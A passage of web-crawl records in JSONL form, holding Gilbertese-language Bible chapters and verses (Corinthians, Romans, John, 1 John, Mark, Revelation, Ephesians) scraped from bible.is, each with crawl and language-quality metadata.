mwakuri, ao akana mwamwakuri. 17 I kimwaareirei ngkai a roko Tetebana ma Boretunato ma Akaiko, bwa ai bon rabwatami naba ngaiia: 18 bwa a karekea raun taamneiu ma taamneimi; ma ngaia ae kam na aki mwamwaninga taekaia aeka n aomata akanne. 19 A kamauringkami taian ekaretia i Atia. A anga aia kamauri ae e bati nakoimi i nanon te Uea Akura ma Beritika, ma te ekaretia are a bobootaki kaaina i nanon aia auti Akura ma Beritika. 20 A kamauringkami taari ni kabaneia. Kam na i kamauri i bon iroumi n ai aroia n inga taari. 21 Ngai ae Bwauro, ae I korea au inga nakoimi n oini baiu. 22 Ngkana arona bwa iai ane e aki tangira te Uea, ao ke e reke kaina. Mwarana ta! 23 E na mena iroumi ana aakoi te Uea are Iesu Kristo. 24 E na mena iroumi ni kabaneingkami au tangira i nanoni Kristo Iesu.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/16","date":"2013-05-23T15:04:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703489876\/warc\/CC-MAIN-20130516112449-00064-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":523,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Kam bia taon nanomi nakon nanobabau ae teutana; kam na bon taon nanomi nakoiu. 2 Bwa e rangi ni korakora nanou n tauaninne iroumi n ai aroni korakoran nanon te Atua; ai aron te ateiaine ae e itiaki ngkami ae I kainroua ma te mwaane ae ti temanna, are boni Kristo. 3 Ma I maaku bwa a kaawa n anaaki nanomi, n ai aron Nei Ewa ngke e mwaamwanaaki n nanowanawanan te naeta, ao kam kiitana aromi n reitaki ma Kristo ae e nako raoi ma n itiaki. 4 Bwa ngkana e roko temanna iroumi n taekina Iesu riki temanna are tiaki Ngaia are ti taekinna, ke ngkana kam anganaki te Taamnei ae e kaokoro ae tiaki Ngaia are kam anganaki, ke te euangkerio are tiaki naba ngaia are kam anganaki, ao kam konamaki n taotaon nanomi nakoina. 5 Bwa I taku bwa I bon aki mangori riki nakoia te koraki akana kam atongiia bwa taan tuatua aika akea n ai aroia. 6 Bwa ngkana tao I bangabwai n te aro n taetae, ma I aki n te ataibwai, ti a tia n aaro nako ao ni bwaai ni kabane ni kaoti arora aikai nakoimi. 7 Ke e bure are I karaoia n arou ni karinanoai bwa kam aonga ni karietaataaki ngke I taekina ana euangkerio te Atua n aki kabooa nakoimi? 8 Kanga aron ae I kuribwaia ekaretia tabeua ngke I anaa bon au mwakuri mai irouia i bukimi. 9 Ngke I mena iroumi ao I bon aki karawaawata temanna ngkana iai te bwai ae I kainnanoia: bwa te bae I kainnanoia e a reke mai irouia taari ake a nako mai Mwaketonia. I a tia ni kaawakinai bwa N na aki riki bwa te bwai ni karawaawata ngai nakoimi ni bwaai ni kabane, ao N na manga boni kaawakinai naba maiai. 10 Ngkai iai irou te koaua are mai irouni Kristo, ao I kakoauaa bwa e na bon aki katokaki kamoamoaau aei mai irou n te aba are Akaia. 11 Ao bwa e aera? I bukina bwa I aki tangiringkami? E ataia te Atua. 12 Ma ae I karaoia ao N na boni karaoia naba, bwa I aonga ni katoki wiia te koraki ake a taku bwa n aia mwakuri are a kamoamoaia iai ao bon ti te bo aroia ni mwakuri ma arora. 13 Bwa te koraki akanne bon taan tuatua ni kewe, aika taani mwaamwanaa-te-aba n aia mwakuri, ao a onikiia bwa aongkoa ana taan tuatua Kristo. 14 Akea te bae e kamiimii iai, bwa aio naba aron Tatan: e konaa n onikia bwa aongkoa te anera ae e raneanea taraana. 15 Ma ngaia ae tiaki te bwai ae e na iruwa te aba iai ngkana a onikiia naba taani mwakuri ibukin Tatan bwa kaanga taani mwakuri ibukini karaoan nanon te Atua; ao tokiia, a na karekea booni mwiin aia mwakuri. 16 I kaoka are I a tia n taku, Ke e tai taku temanna bwa I baba; ao ngkana kam taku bwa I baba, ao kam na ongoraa irou ngkai kaanga I baba, bwa N na kamoamoaai naba teutana. 17 Te bae I atongnga ao I aki atongnga n ai aron nanon te Uea, ma I atongnga bwa kaanga te taetae ni baba n te aro ni kamoamoa aei. 18 Ngkai a kamoamoaiia aomata aika a bati ibukin nanoia n aomata ao ngai N na kamoamoaai naba. 19 Bwa kam kukurei n taon nanomi nakoia akana a nanobaba, ngkai kam wanawana! 20 Bwa kam taon nanomi ngkana e toroningkami temanna, ngkana e kuribwaingkami temanna, ngkana e kamwaneingkami temanna, ngkana e kaakeaa boonganami temanna, ao ngkana e oroubuingkami temanna. 21 I maamaa n taekinna bwa ti a tia ni mamaara nakoni karaoani baikanne; ma ngkana iai te baene e ninikoria iai te aomata, I taetae ni baba, ao I ninikoria naba ngai. 22 Ebera uaakekei? Ngai naba. Iteraera uaakekei? Ngai naba. Kanoan Aberaam uaakekei? Ngai naba. 23 Ana taani mwakuri Kristo uaakekei? I taetae n ai aron ae e baba: i aoia riki ngai; bwa I mwakuri korakora riki nakoia, a bati riki au tai ni kabureaki, a bati riki au tai ni kataereaki, ao a bati riki au tai ae e kaani mateu iai. 24 Nimaua te tai kataereau ni kaiu aika tenibwi ma ruaiwa irouia I-Iutaia; 25 Tenua kataereau n taiani kai, teuana karebanaau n taian atiibu, tenua au tai are I toka iai i aoni kaibuke ao a uruaki ngke a koro, ao I kabanea teuana te bong ao teuana te ngaina ni mena i nanoni marawa. 26 Ni mwamwanangau aika a bati ao I kaaitara ma kaangaanga aika a I kuri ni kabuanibwai iai, aika kaangaanga man taiani karaanga, mai irouia taani kamwarua, mai irouia au bootanaomata, mai irouia aomata aika a tiaki I-Iutaia, man te kaawa, i nanon te rereua, i marawa, mai irouia taari ni kewe; 27 ao kaangaanga naba man te mwakuri ae e kakua, te aki-mamatuu n tairiki aika a bati, te baki ma te taka, te aki-mamatam i nanon taai aika a bati, te mariri, ao aki tauni mwaitini kunnikaiu i aou. 28 Ao raoni bwaai aika a I aki kan taekin bon tabeaiangan nanou ae e korakora n te bong ae koraki i bukiia taian ekaretia ni kabaneia. 29 Antai ae e mamaara, ao I aki mamaara? Antai ae e kabwakaaki nakon te bure, ao e aki maraki nanou iai? 30 Ngkana e riai irou bwa N na kamoamoaai, ao N na kamoamoaai ni baika a na kaota mamaarau. 31 E ataai bwa I aki kewe te Atua ae Taman ara Uea are Iesu, are ana bwai te neboaki n aki toki. 32 I Taamateko, ao e kateiia temwaangina te tia tau-taeka are i aan te uea are Areta bwa a na tantani i rarikini mataroani kawai n rin n aia kaawa I-Taamateko, bwa a na tauai; 33 ma I nnaaki rikaaki n te bwaene ni kaotinakoaki ri nanoni wintoon te nono, ao I a maiu mai irouna.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11","date":"2013-06-20T09:23:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368711240143\/warc\/CC-MAIN-20130516133400-00092-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":960,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 5:14\n14 Ma e uea te mate mai iroun Atam ni karokoa Mote, ao i aoia naba te koraki ake a bure, e boni ngae ngke e kaokoro aron aia bure ma ana bure Atam, ngke e aki ongeaaba nakon te tua. E reke iroun Atam bannan aron Teuare e nangi roko.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/14","date":"2013-05-19T21:23:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698080772\/warc\/CC-MAIN-20130516095440-00043-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999164343,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999164342880249}","num_words":70,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.243,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MAREKO 13:28\n28 Kam na karekea reireiami man te kai ae te biiku. N te tai are e ubuubu iai naba mwaangana ao a kaoti baana, ao kam a ataia iai bwa e a kaan taini bongin te kabuebue;\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/13\/28","date":"2013-05-26T04:51:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706628306\/warc\/CC-MAIN-20130516121708-00048-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999566078,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999566078186035}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Au ataei aika a uarereke, I koroi baikai nakoimi, bwa kam aonga n aki bure. Ao ngkana e bure temanna, ao bon iai te Tia Tei i bukira are Iesu Kristo ae e atataiaomata, are e mena iroun te Tama: 2 boni Ngaia te kareanraoi ibukin ara bure; ao tiaki ti ara bure, ma aia bure naba kaain aonnaba ni kabaneia. 3 Ao aio te aro ae ti ataira iai bwa ti bon ataa te Atua: ngkai ti tauu ana tua nako. 4 Ane e kaangai, I ataa te Atua; ma e aki tauu ana tua, ao bon te tia kewe, ao e aki mena te koaua i nanona; 5 ma ane e taua ana taeka, ao nanona bwa iai kororaoin tangiran te Atua i nanona. Ao n te aro aei, ti a ataia raoi iai bwa ti nim ma Ngaia. 6 Ane e taku bwa E nim te Atua ma ngaia, ao e riai n nakonako n te aro are E nakonako naba iai Kristo. 7 Ngkami aika kam tangiraki, te tua ae I koroia ngkai nakoimi bon tiaki te bwai ae e boou, ma bon te tua nikawai ae iai iroumi ma ngke kam moa n riki bwa Kristian, are bon te taeka are kam a tia n ongo. 8 Ma e boni ngae n anne, ao I a korea ngkai te tua ae e boou nakoimi, ae iai koauana ni maiun Iesu ao ni maiumi naba; bwa e tabe ni mauna te roo, ao te oota ni koaua e a tia n oota nako. 9 Ane e taku bwa e mena n te oota, ma e ribaa tarina, ao e mena n te roo ni karokoa ngkai. 10 Ane e tangira tarina ao e maeka n te oota, ao akea te bae e na reke waena iai n tatanako. 11 Ma ane e ribaa tarina ao e mena n te roo, ao e nakonako n te roo n aki ataa ike e nako iai, bwa e kamatakii matana te roo. 12 Ataei aika kam uarereke, I koroboki nakoimi, ngkai a a tia ni kabwaraaki ami bure ibukin arani Kristo. 13 Taama, I koroboki nakoimi, ngkai kam ataa Teuare bon iai ma ngke a tuai ni karikaki bwaai. Rorobuaka, I koroboki nakoimi, ngkai kam a tia n tokanikai i aon teuare e buaakaka. 14 Ataei, I koroboki nakoimi, ngkai kam ataa te Tama. Rorobuaka, I koroboki nakoimi, ngkai kam korakora; e meemena ana taeka te Atua i nanomi, ao kam a tia n tokanikai i aon teuare e buaakaka. 15 Kam na tai tangira te aonnaba ae e buubure, ao tai tangiri naba bwaina nako. Ngkana e tangira aonnaba ae e buubure te aomata, ao akea i nanona tangiran te Tama. 16 Bwa bwaai ni kabane aika a mena i aonnaba, ae kaibwabwarun te rabwata, ma aia kaibwabwaru maata, ma kainikatongan te maiu aei, a aki riki mai iroun te Tama, ma a riki man te aonnaba ae e buubure. 17 E tabe ngkai ni mauna te aonnaba ae e buubure ma kaibwabwaruna; ma ane e kaakaraoa nanon te Atua, ao e na maiu n aki toki. 18 Ataei, aei te kabanea n aoa; ao n aron are kam ongo bwa e nangi roko ana kairiribai Kristo, ao bon iai ngkai ana kairiribai Kristo aika a bati aika a kaoti. Ma ngaia ae ti ataia iai bwa aei te kabanea n aoa. 19 Kairiribai aikai a nako mai buakora, ma bon tiaki raora; bwa ngke arona bwa raora, ao a na bon tiku iroura. Ma a nako mai buakora, bwa a na kaotaki bwa tiaki raora ngaiia ni kabaneia. 20 Kam a tia ni kabiraki iroun Teuare Moan te Tabu, ao kam atai bwaai ni kabane. 21 N na aki koroboki nakoimi ngke kam aki ataa te koaua; ma I koroboki bwa kioina ngkai kam ataa te koaua, ao ngkai bon akea te kewe n te koaua. 22 Bwa antai te tia kewe ma bon te aomata ae e taku bwa Iesu bon tiaki te Kristo? Te aomata anne bon ana kairiribai Kristo—e kaakeaa te Tama ma te Nati. 23 Ane e kaakeaa te Nati, ao akea te Tama irouna; ane e kaota onimakinan te Nati irouna, ao bon iai naba te Tama irouna. 24 Ao ngkami, e na mena i nanomi te baere kam ongo ma ngke kam moa n riki bwa Kristian. Ngkana e meemena i nanomi te baere kam ongo ngke kam moa n riki bwa Kristian, ao ane kam na nim ma te Nati ao te Tama naba. 25 Ao aio te taeka n aakoi are E tuangiira: bwa ti na maiu n aki toki. 26 I koroi baikai nakoimi i bukiia akana a kataia ni mwaamwanaingkami. 27 Ao ngkami, ngkai kam a tia ni kabiraki ngkai e teimatoa aromi anne irouna, a aki kai nanomi ngkana kam aki reireiaki iroun temanna; ma ngkai kam reireiaki bwaai ni bane ni kabirakimi irouna, ao ngkae koaua ao tiaki te kewe, ao kam na nim ma Ngaia n ai aron are E reireingkami iai 28 Ma ngaia aei, ngkami aika ataei aika kam uarereke, kam na nim ma Ngaia; bwa ngkana E a manga oki Kristo, ao ti na aki maaku ma ni kaota ae ti rangi ni maamaa irouna i matana. 29 Ngkana kam ataia bwa E kaakaraoa nanon te Atua, ao kam ataiia naba akana a kaakaraoa nanon te Atua bwa a bane ni bungiaki mai irouna.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1John\/2","date":"2013-05-19T04:14:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696383259\/warc\/CC-MAIN-20130516092623-00088-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":875,"character_repetition_ratio":0.062,"word_repetition_ratio":0.002,"special_characters_ratio":0.25,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 5:21\n21 Bwa aron te bure ngke e nooraki arona n uea n te mate, ao ai arona naba bwa e na uea te aakoi ni kaetan arora n reitaki ma te Atua, ao ni kairiira naba nakon te maiu are e aki toki iroun Iesu Kristo are ara Uea. Ao te bure e karokoa te mate, ao a bane n rootaki aomata ni kabaneia n te mate ibukina bwa a bane ni bure.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/21","date":"2013-05-23T13:51:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703326861\/warc\/CC-MAIN-20130516112206-00071-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":92,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 I mwiini baikekei ao E ri nanon namani Kariraia Iesu, are e aranaki naba bwa naman Tiberia, nakon iterana are teuana. 2 A iria aomata aika a rangi ni mwaiti ibukina bwa a a tia n noori ana mwakuri aika a kamiimii ni kamaiuaia aoraki. 3 E ararakea te maunga ae e aki rietaata Iesu ma ana reirei, ao a tekateka iai. 4 E a kaan tain te Toa are te Riao, are aia bootaki ae e kakannato I-Iutaia. 5 E tabeki matana Iesu ngkanne, ao ngke E nooriia aomata aika a rangi ni mwaiti bwa a nakoina, ao E taku nakoni Biribo, Ti na kaboo amwarake ia bwa kanaia aomata aikai? 6 E atonga aei Iesu bwa E kani kataa Biribo: bwa Iesu E a boni kaman ataa are E na karaoia. 7 E kaeka Biribo ao e taku, E aki tau uabubua te tenari bwa e na kabooaki iai te amwarake ngkai e na rangi n uarereke ae e na reke iai bwa kanan temanna ma temanna. 8 E taku nakoina ana reirei temanna are Anterea, are tarin Timon Betero, 9 Iai te teinimwaane ikai ae iai irouna nimaai te kariki are e karaoaki mani buraawa n te bware, ao uoman te ika; ma tera maneia nakoia aomata aikai ni kabaneia? 10 E taku Iesu, Tuangia aomata bwa a na tekateka n rarikiriki. Bwa e bati te uteute n te tabo arei. A bane n tekateka aomata, ao tao nimangaa mwaitiia mwaane. 11 E anai kariki akekei Iesu, ao E tataro ni katituaraoi, ao E anga bwa a na tibwaaki nakoia ake a tekateka. E karaoa naba ae aron aei nakon iika, ao a bane n reke tibwaia n ai aroni mwaitin are a tangiria. 12 Ngke a ngae, ao E taku Iesu nakoia ana reirei, Ikoti nikiran amwarake, bwa akea teutana ae e na bakataeaki. 13 Ma ngaia are a ikoti, ao a kaoni bwaene aika tengauni ma uakora ni mwakorokoron nikirani kariki ake nimaai ake a tia ni kang aomata. 14 Ao aomata ngke a noora te bwai are e kamiimii are E karaoia Iesu, ao a taku, Bon aei te buraabeti are e nangi roko i aonnaba. 15 Ngke E ataia Iesu bwa a nangi roko aomata n tauua ma te matoa bwa a na kaueaa, ao E a manga oki nako n te maunga, n ti Ngaia. 16 Ngke e a kaani bong, ao a nako ana reirei nakon te nama; 17 a toka i aon te booti, n ri nanon te nama nako Kaberenaum. E a bong, ao E tuai n roko Iesu irouia. 18 E a roko buakan te nama ibukin te ang bwa e korakora karena. 19 Ngke a a tia ni bwennarina i nanon tao tenua ke aua te maire, ao a noora Iesu bwa E nakonako i aon te nama, ni kaania te booti; ao a maaku. 20 Ma E taku nakoia, Boni Ngai, tai maaku. 21 A kukurei ngkanne ni katokaa Iesu n te booti; ao e waekoa naba n roko te bootti i eta n te tabo are a nakoiai. 22 N te bong are i mwiina, ao aomata ake a mena i mainikun te nama a a tia n nooria bwa ti tewaana te booti ikekei, ao a ataia naba bwa E aki toka Iesu i rarikia ana reirei n te booti arei; a a tia n nako ana reirei n ti ngaiia. 23 Ma iai tabewaa booti ake a roko mai Tiberia nako rarikin te tabo are a kang kariki iai aomata i mwiin ana tataro ni katituaraoi te Uea. 24 Ma ngaia arei, ngke a nooria te koraki arei bwa E aki mena ikekei Iesu, ao akea naba ana reirei, ao a toka i aoni booti n nako Kaberenaum bwa a na ukoukora Iesu. 25 Ngke a kunea Iesu te koraki arei i maeaon te nama, ao a taku nakoina, Te Tia Reirei, Ko roko ikai n ningai? 26 E kaekaia Iesu ao E taku, Bon te koaua ni koaua ae I a tuangkami, bwa kam ukoukorai tiaki ibukina ngke kam noori mwakuri aika a kamiimii, ma ibukina ngke kam kang kariki ao kam ngae. 27 Kam na aki mwakuri ni karekea te amwarake ae e kai buaakaka, ma kam na uaiakina reken te amwarake ae e teimatoa, ae te amwarake ibukin te maiu are e aki toki. 28 Ma ngaia are a titirakinna ni kaangai, Tera ae ti riai ni karaoia bwa ti aonga ni karaoa iai are E tangiria te Atua? 29 E kaeka Iesu ao E taku, Te bwai ae E tangiria te Atua bwa kam na karaoia bon aei: kam na onimakina ae E a tia ni kanakomaia. 30 Ma ngaia are a taku nakoina, Tera te mwakuri ae e kamiimii ae Ko na karaoia bwa ti aonga n nooria, ao ti a kakoauako iai? Tera ae Ko na karaoia? 31 A kangi manna ara bakatibu n te rereua, n ai aron are e koreaki ni kaangai: E anganiia te amwarake mai karawa bwa kanaia. 32 E taku ngkanne Iesu nakoia, Bon te koaua ni koaua ae I a tuangkami bwa tiaki Mote ae e anganingkami te amwarake mai karawa, ma Tamau ae anganingkami te amwarake ni koaua mai karawa. 33 Bwa te amwarake ae E anga te Atua boni Ngaia ae e ruo mai karawa, ao E anga te maiu nako aonnaba. 34 A taku ngkanne nakoina, Te Uea, Ko na angaanganiira te amwarake anne n taai nako. 35 E taku Iesu nakoia, Boni Ngai te amwarake ni kamaiu; ane e riki bwa au reirei ao e na bon aki baki, ao ane e onimakinai ao e na bon aki taka. 36 Ma I a tia n tuangkami bwa e ngae ngke kam a tia n noorai, ma kam na bon aki onimaki. 37 Aomata nako akana E anganai te Tama ao a na riki bwa au reirei; ao ane e riki bwa au reirei ao N na bon aki kabanea. 38 Bwa I roko mai karawa, tiaki ibukini karaoan nanou, ma ibukini karaoan nanon Teuare e kanakomaiai. 39 Aio nanon Teuare e kanakomaiai: E tangirai bwa N na aki kabuaa temanna i buakoia ake E a tia n anganai, ma N na manga kamaiuiia ni kabaneia n te kabanea ni bong. 40 Bwa aio nanon Tamau: bwa ane e noora te Nati ma n onimakinna, ao e na reke irouna te maiu are e aki toki; ao N na manga kamaiua n te kabanea ni bong. 41 A ngureakinna ngkanne I-Iutaia ibukina ngke E kaangai, Ngai te amwarake are e ruo mai karawa. 42 Ao a taku, Tiaki Iesu Teuaei, are natin Iotebwa? Ti kinaa tamana ma tinana. E na kangaa ngkanne ni kaangai, I ruo mai karawa? 43 E kaekaia Iesu ao E taku nakoia, Kam na katoki ngurenguremi. 44 Akea ae e konaa n riki bwa au reirei ngkana e aki kairaki nakoiu iroun te Tama are e kanakomaiai; ao N na manga kamaiua n te kabanea ni bong. 45 E koreaki irouia buraabeti ae e kaangai, A na bane aomata nako n reireiaki iroun te Atua. E riki bwa au reirei te aomata ane e ongo ma n reirei iroun te Tama. 46 Tiaki nanona bwa iai ae e a tia n noora te Tama; ti Teuare mai iroun te Atua ae E a tia n noora te Tama. 47 Bon te koaua ni koaua ae I a tuangkami bwa ane e onimaki ao e a reke irouna te maiu are e aki toki. 48 Ngai te amwarake ni kamaiu. 49 A kangi manna ami bakatibu n te rereua, ao a mate. 50 Aio te amwarake are e ruo mai karawa, are e na kanna te aomata ao e na aki mate. 51 Ngai te amwarake ae e reke te maiu maiai are e ruo mai karawa. Ane e kana te amwarake aei, ao e na maiu n aki tootoki; ao te amwarake ae N na anga ibukini maiun te aonnaba bon irikou. 52 A kauntaeka ngkanne I-Iutaia i bon irouia, ao a kaangai, E na kangaa Teuaei ni konaa n anganiira irikona bwa karara? 53 Ma ngaia are E taku Iesu nakoia, Bon te koaua ni koaua ae I a tuangkami, bwa ngkana kam aki kana irikon Natin te Aomata, ao kam aki nima raraana, ao akea te maiu i nanomi. 54 Ane e kana irikou ao e nima raraau, ao e a reke irouna te maiu are e aki toki, ao N na manga kamaiua n te kabanea ni bong. 55 Bwa bon te amwarake ni koaua irikou, ao bon te ninima ni koaua raraau. 56 Ane e kana irikou, ma n nima raraau, ao e meemena i nanou, ao Ngai i nanona. 57 Ngkai E kanakomaiai te Tama are mai irouna te maiu, ao Ngai I maiu ibukin te Tama, ao te aomata ngkanne ane e kanai e na maiu i bukiu. 58 Aei te amwarake are e ruo mai karawa; tiaki aron te amwarake are a kanna ami bakatibu, ao a mate i mwiina. Te aomata ane e kana te amwarake aei, ao e na maiu n aki toki. 59 E atongi baikai Iesu ngke E reirei ni mwaneabaia I-Iutaia i Kaberenaum. 60 Ngke a ongo baikai mwaitiia ana reirei Iesu, ao a taku, A matoatoa taeka aikai; antai ae e konaa n ongoraa iai? 61 E ataia Iesu i nanona ae a ngurengure ana reirei ibukin taeka akekei, ma ngaia are E titirakiniia ao E taku, A uruaki ami onimaki n taeka akekei? 62 Iangoia bwa kaanga tera ae e na riki ngkana arona bwa kam noora Natin te Aomata bwa E rierake nakon te tabo are E mena iai ngkoa? 63 Ae E anga te maiu bon Taamnein te Atua; akea irouia aomata ae e konaa ni karaoa aei. A riki taeka aika I a tia n atong bwa kawain rokon te Taamnei ao te maiu iroumi. 64 Ma iai i buakomi aika a aki onimaki. Bwa Iesu E a kaman ataiia rimoa bwa antai ake aki onimaki, ao antai teuare e na kamwanea. 65 Ao E a manga taku riki, Ao aei bukin are I tuangkami bwa akea te aomata ae e konaa n riki bwa au reirei, ma ti ngkana e anganaki te konaa iroun te Atua. 66 I bukin aei, ao a kiitana Iesu ana reirei aika a mwaiti n aki manga kan airiiri ma Ngaia. 67 E taku ngkanne Iesu nakoia uaake tengauni ma uoman, Kam na nako naba ngkami? 68 E kaeka Betero ao e taku, Te Uea, ti na nako n antai? A mena iroum taeka aika e reke maiai te maiu are e aki toki. 69 Ti kakoauako ao ti ataiko bwa Teuare Moan te Raoiroi Ngkoe, are Natin te Atua. 70 E kaeka Iesu ao E taku, Tiaki I rineingkami ngkami aika tengauni ma uoman, ao bon te riaaboro temanna i buakomi? 71 E taekina Iuta are natin Timon Itekariota, are temanna i buakoia uaake tengauni ma uoman, bwa ngaia are e na kamwanea.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/John\/6","date":"2013-05-25T14:10:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705956263\/warc\/CC-MAIN-20130516120556-00045-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1763,"character_repetition_ratio":0.061,"word_repetition_ratio":0.021,"special_characters_ratio":0.25,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 13:18\n18 Ana bwai ae e rabakau te baei! Ane e atatai ao ke e iangoia bwa tera nanon te ware are te ware ibukin te man, ngkai te ware arei e tei ibukin aran te aomata; ao te ware arei bon Onobubua ao Onobwi ma Onoua.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/13\/18","date":"2013-05-19T21:28:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698090094\/warc\/CC-MAIN-20130516095450-00025-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999873638,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999873638153076}","num_words":66,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.303,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 9:10\n10 ke tiaki ana taeka anne i bukira? E boni koreaki i bukira: bwa te aomata ae e katauraoa raoi tanon ana tabo n unuuniki e mwakuri ma kaantaningaan reken tibwangana man uaan arokana; ao te aomata are e kaaki kunin uaan uiita e kaantaninga naba reken tibwangana man uaan uiita.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/9\/10","date":"2013-05-19T05:07:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696383263\/warc\/CC-MAIN-20130516092623-00056-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999959469,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999959468841553}","num_words":70,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.243,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBETO 3:5\n5 are e aki kaotaki nakoia natiia aomata n rooro ake ngkoangkoa, n ai arona ngkae e kaotaki ngkai iroun te Taamnei nakoia ana tia tuatua aika a tabu ma ana buraabeti aika a tabu naba;\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/3\/5","date":"2013-05-24T04:41:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704179963\/warc\/CC-MAIN-20130516113619-00084-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999819994,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999819993972778}","num_words":55,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.255,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:5\n5 Ao te Atua are e riki mai irouna taotaonan te nano ma kabeebetean te nano, E na anganingkami te nano ni boonnano are e reke ni katootoongan aroni Kristo Iesu;\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp 